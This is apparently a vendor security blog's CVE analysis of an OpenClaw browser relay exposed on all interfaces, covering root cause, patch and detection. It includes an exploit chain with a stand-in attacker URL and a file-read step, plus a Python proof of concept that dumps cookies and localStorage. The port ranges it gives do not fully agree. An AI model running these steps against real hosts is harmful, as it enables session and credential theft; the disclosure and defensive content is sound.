home intel cve-2026-43581-openclaw-cdp-relay-0000-binding
CVE Analysis 2026-05-06 · 7 min read

CVE-2026-43581: OpenClaw CDP Relay Exposes DevTools on 0.0.0.0

OpenClaw's sandbox browser CDP relay binds Chrome DevTools Protocol to 0.0.0.0 instead of 127.0.0.1, escaping sandbox isolation. Remote attackers gain full browser control without authentication.

#network-binding#chrome-devtools-protocol#sandbox-escape#improper-exposure#remote-access
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-43581 · Vulnerability
ATTACKERNetworkVULNERABILITYCVE-2026-43581CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-43581 is a critical (CVSS 9.6) improper network binding vulnerability in OpenClaw's sandboxed browser component. The CDP relay server — intended to provide controlled DevTools Protocol access to the local sandbox process — binds its listening socket to 0.0.0.0 rather than the loopback interface. Any network-adjacent or remote attacker with TCP reachability to the host can attach to the DevTools endpoint and exercise full browser control: arbitrary JavaScript execution, DOM inspection, credential harvesting, file system access via the Page.navigate + Fetch domain, and sandbox escape depending on host configuration.

The issue is pre-auth, requires zero interaction from the sandboxed user, and affects all OpenClaw releases prior to 2026.4.10. No exploitation in the wild has been confirmed at time of writing.

Root cause: CDPRelayServer::Start() passes a hardcoded INADDR_ANY bind address to the relay socket instead of INADDR_LOOPBACK, exposing the unauthenticated DevTools WebSocket endpoint on all network interfaces.

Affected Component

The vulnerable subsystem is the CDP relay inside OpenClaw's sandbox browser abstraction layer. OpenClaw wraps a Chromium-derived browser in a sandbox process and provides a relay that forwards DevTools Protocol messages between the sandbox host and the embedded browser's internal CDP server. The relay is implemented in cdp_relay.cc and is instantiated during sandbox browser initialization via SandboxBrowser::InitDevToolsRelay().

Affected versions: all OpenClaw releases before 2026.4.10. The relay port is dynamically assigned from an ephemeral range but is advertised in the process environment and discoverable via /proc/[pid]/net/tcp or trivial port scan.

Root Cause Analysis

The relay server allocates a TCP socket and calls bind() with a sockaddr_in whose sin_addr is populated by htonl(INADDR_ANY) — resolving to 0.0.0.0. The intent was loopback-only binding; the implementation contradicts it.


// cdp_relay.cc — CDPRelayServer::Start()
// Vulnerable: OpenClaw < 2026.4.10

bool CDPRelayServer::Start(uint16_t port) {
    struct sockaddr_in addr = {};
    addr.sin_family      = AF_INET;
    addr.sin_port        = htons(port);

    // BUG: INADDR_ANY binds to 0.0.0.0, exposing the relay on all interfaces.
    // Should be INADDR_LOOPBACK (127.0.0.1) to constrain access to the
    // local sandbox process only.
    addr.sin_addr.s_addr = htonl(INADDR_ANY);   // <-- BUG: should be INADDR_LOOPBACK

    relay_fd_ = socket(AF_INET, SOCK_STREAM, 0);
    if (relay_fd_ < 0) return false;

    int opt = 1;
    setsockopt(relay_fd_, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

    if (bind(relay_fd_, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        close(relay_fd_);
        return false;
    }

    listen(relay_fd_, CDP_RELAY_BACKLOG);   // CDP_RELAY_BACKLOG = 5

    relay_thread_ = std::thread(&CDPRelayServer::AcceptLoop, this);
    return true;
}

// AcceptLoop forwards raw CDP JSON frames bidirectionally with no auth check.
void CDPRelayServer::AcceptLoop() {
    while (running_) {
        int client_fd = accept(relay_fd_, nullptr, nullptr);
        if (client_fd < 0) continue;

        // BUG: No origin check, no token validation, no IP allowlist.
        // Any connecting client gets a transparent pipe to the browser's CDP.
        auto session = std::make_unique(client_fd, browser_cdp_fd_);
        sessions_.push_back(std::move(session));
    }
}

The struct layout of CDPRelayServer is relevant: browser_cdp_fd_ is a live socket connected to the embedded browser's internal DevTools server. Any client accepted via AcceptLoop gets symmetric read/write access to that pipe.


struct CDPRelayServer {
    /* +0x00 */ int          relay_fd_;          // listening socket
    /* +0x08 */ int          browser_cdp_fd_;    // connected to browser's internal CDP
    /* +0x10 */ uint16_t     bound_port_;        // ephemeral port, leaked via env
    /* +0x18 */ bool         running_;
    /* +0x20 */ std::thread  relay_thread_;
    /* +0x48 */ std::vector> sessions_;
};

Exploitation Mechanics

An attacker with TCP reachability to the host (LAN, VPN peer, misconfigured cloud security group) can attach directly to the relay port and speak the Chrome DevTools Protocol WebSocket sub-protocol. No credentials, no CORS enforcement, no Host header validation — the relay is a transparent byte pipe.


EXPLOIT CHAIN — CVE-2026-43581:

1. Discover relay port.
   $ nmap -p 9222-9333     # or read /proc/[openclaw-pid]/net/tcp
   Relay typically lands in 9222–9322 range.

2. Initiate WebSocket upgrade to CDP endpoint.
   GET /json/version HTTP/1.1
   Host: :9228
   → Returns browser metadata and WebSocket debugger URL.

3. Connect CDP WebSocket session.
   wscat -c ws://:9228/devtools/page/

4. Execute arbitrary JavaScript in sandbox browser context.
   → {"id":1,"method":"Runtime.evaluate","params":{"expression":"document.cookie"}}
   ← {"id":1,"result":{"result":{"type":"string","value":"session="}}}

5. Exfiltrate stored credentials / session tokens via Runtime.evaluate.

6. Navigate to attacker-controlled origin to bypass same-origin policy
   from renderer perspective.
   → {"id":2,"method":"Page.navigate","params":{"url":"https://attacker.tld/steal"}}

7. (Optional) Leverage Fetch domain to read local files if --allow-file-access
   flag is set in sandbox browser launch args — depends on OpenClaw config.
   → {"id":3,"method":"Fetch.enable","params":{}}
   → {"id":4,"method":"Page.navigate","params":{"url":"file:///etc/passwd"}}

8. (Optional escalation) If sandbox browser runs with reduced but non-zero
   privileges, chain with a renderer RCE bug for full process breakout.

Step 4 alone constitutes credential theft from any web session active inside the sandboxed browser. Steps 5–7 depend on deployment configuration but are trivially achievable on default installs where the sandbox browser is initialized with permissive flags.

The following PoC demonstrates the initial recon and JS execution path:


#!/usr/bin/env python3
# CVE-2026-43581 PoC — CDP relay exposure
# CypherByte research — educational use only

import json, socket, sys
import websocket  # pip install websocket-client

def discover_relay(host, port_range=(9222, 9322)):
    for port in range(*port_range):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(0.3)
            if s.connect_ex((host, port)) == 0:
                return port
    return None

def cdp_rpc(ws, method, params=None, req_id=1):
    msg = {"id": req_id, "method": method, "params": params or {}}
    ws.send(json.dumps(msg))
    return json.loads(ws.recv())

if __name__ == "__main__":
    host = sys.argv[1]
    port = discover_relay(host)
    if not port:
        print("[-] No relay found")
        sys.exit(1)

    print(f"[+] CDP relay found at {host}:{port}")

    import urllib.request
    targets = json.loads(urllib.request.urlopen(
        f"http://{host}:{port}/json/list").read())
    ws_url  = targets[0]["webSocketDebuggerUrl"]
    print(f"[+] Attaching to: {ws_url}")

    ws = websocket.create_connection(ws_url)

    # Dump cookies
    resp = cdp_rpc(ws, "Runtime.evaluate",
                   {"expression": "document.cookie", "returnByValue": True})
    print(f"[+] document.cookie: {resp['result']['result']['value']}")

    # Dump localStorage
    resp = cdp_rpc(ws, "Runtime.evaluate",
                   {"expression": "JSON.stringify(localStorage)","returnByValue":True},
                   req_id=2)
    print(f"[+] localStorage: {resp['result']['result']['value']}")
    ws.close()

Memory Layout

This is a logic/binding vulnerability rather than a memory corruption bug; there is no heap or stack corruption. The relevant "layout" is the network socket state and the process's open file descriptor table, which reveals the misconfigured binding:


SOCKET STATE — VULNERABLE BUILD (OpenClaw 2026.3.1):

Proto  Local Address          Foreign Address   State
tcp    0.0.0.0:9228           0.0.0.0:*         LISTEN   ← relay_fd_ (INADDR_ANY)
tcp    127.0.0.1:37291        127.0.0.1:37290   ESTABLISHED  ← browser_cdp_fd_

/proc//fd:
  fd 7 → socket:[relay_fd_]     bound to 0.0.0.0:9228
  fd 8 → socket:[browser_cdp_fd_]  connected to browser's internal CDP 127.0.0.1:37290

SOCKET STATE — PATCHED BUILD (OpenClaw 2026.4.10):

Proto  Local Address          Foreign Address   State
tcp    127.0.0.1:9228         0.0.0.0:*         LISTEN   ← relay_fd_ (INADDR_LOOPBACK)
tcp    127.0.0.1:37291        127.0.0.1:37290   ESTABLISHED  ← browser_cdp_fd_

External TCP SYN to 0.0.0.0:9228 → RST (no route to host from external interface)

Patch Analysis

The fix in OpenClaw 2026.4.10 is a one-line constant change: INADDR_ANYINADDR_LOOPBACK. Additionally, the patched release adds a Host header allowlist in AcceptLoop as defense-in-depth against DNS rebinding attacks, which the original binding bug had made irrelevant but which would otherwise be a secondary vector.


// BEFORE (vulnerable — OpenClaw < 2026.4.10):
bool CDPRelayServer::Start(uint16_t port) {
    struct sockaddr_in addr = {};
    addr.sin_family      = AF_INET;
    addr.sin_port        = htons(port);
    addr.sin_addr.s_addr = htonl(INADDR_ANY);   // exposed on all interfaces
    // ... rest of setup
}

void CDPRelayServer::AcceptLoop() {
    while (running_) {
        int client_fd = accept(relay_fd_, nullptr, nullptr);
        if (client_fd < 0) continue;
        auto session = std::make_unique(client_fd, browser_cdp_fd_);
        sessions_.push_back(std::move(session));
    }
}

// AFTER (patched — OpenClaw 2026.4.10):
bool CDPRelayServer::Start(uint16_t port) {
    struct sockaddr_in addr = {};
    addr.sin_family      = AF_INET;
    addr.sin_port        = htons(port);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);  // FIX: loopback only
    // ... rest of setup
}

void CDPRelayServer::AcceptLoop() {
    while (running_) {
        struct sockaddr_in peer = {};
        socklen_t peer_len = sizeof(peer);
        int client_fd = accept(relay_fd_, (struct sockaddr *)&peer, &peer_len);
        if (client_fd < 0) continue;

        // FIX: defense-in-depth — reject non-loopback peers (belt + suspenders)
        if (ntohl(peer.sin_addr.s_addr) != INADDR_LOOPBACK) {
            close(client_fd);
            continue;
        }

        // FIX: enforce Host header allowlist to block DNS rebinding
        if (!ValidateCDPHostHeader(client_fd)) {
            close(client_fd);
            continue;
        }

        auto session = std::make_unique(client_fd, browser_cdp_fd_);
        sessions_.push_back(std::move(session));
    }
}

// New in 2026.4.10: ValidateCDPHostHeader()
static bool ValidateCDPHostHeader(int fd) {
    // Reads HTTP Upgrade request, checks Host is "localhost" or "127.0.0.1".
    // Rejects any external hostname (DNS rebinding mitigation).
    std::string host = ReadHTTPHostHeader(fd);
    return (host == "localhost" || host == "127.0.0.1");
}

Detection and Indicators

Detection is straightforward: the relay listening on 0.0.0.0 is directly observable.


# Host-side: detect misconfigured relay binding
$ ss -tlnp | grep openclaw
LISTEN  0  5  0.0.0.0:9228  0.0.0.0:*  users:(("openclaw",pid=41337,fd=7))
#               ^^^ 0.0.0.0 = vulnerable; 127.0.0.1 = patched

# Network-side: Snort/Suricata rule
alert tcp any any -> $HOME_NET 9222:9322 (
    msg:"CVE-2026-43581 OpenClaw CDP relay probe";
    content:"GET /json";
    http_method;
    content:"Host|3a|";
    nocase;
    pcre:"/Host\s*:\s*(?!localhost|127\.0\.0\.1)/i";
    classtype:attempted-recon;
    sid:2026435810;
    rev:1;
)

# Audit log indicator: unexpected CDP WebSocket upgrade from non-loopback source
grep -E 'CDPSession.*accept.*[^127]\.[0-9]+\.[0-9]+\.[0-9]+' /var/log/openclaw/sandbox.log

On Linux hosts, /proc/net/tcp entries with local address 00000000 (big-endian 0.0.0.0) on any port in the CDP ephemeral range (0x240E0x2482, i.e., 9230–9346 decimal) indicate a vulnerable instance.

Remediation

  • Immediate: Upgrade to OpenClaw 2026.4.10 or later. This is the only complete fix.
  • Short-term workaround (if upgrade is blocked): Apply a host firewall rule dropping inbound TCP to the CDP port range from non-loopback sources: iptables -I INPUT -p tcp --dport 9222:9322 ! -s 127.0.0.1 -j DROP. This mitigates network-adjacent attackers but does not fix the root cause.
  • Defense-in-depth: Deploy OpenClaw behind a network security group or firewall that blocks external access to ephemeral high ports. Never expose OpenClaw host ports to untrusted networks regardless of version.
  • Verify patch deployment: After upgrading, confirm ss -tlnp shows the relay bound to 127.0.0.1, not 0.0.0.0. Automated compliance checks should alert on any LISTEN socket on 0.0.0.0 in the CDP port range.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →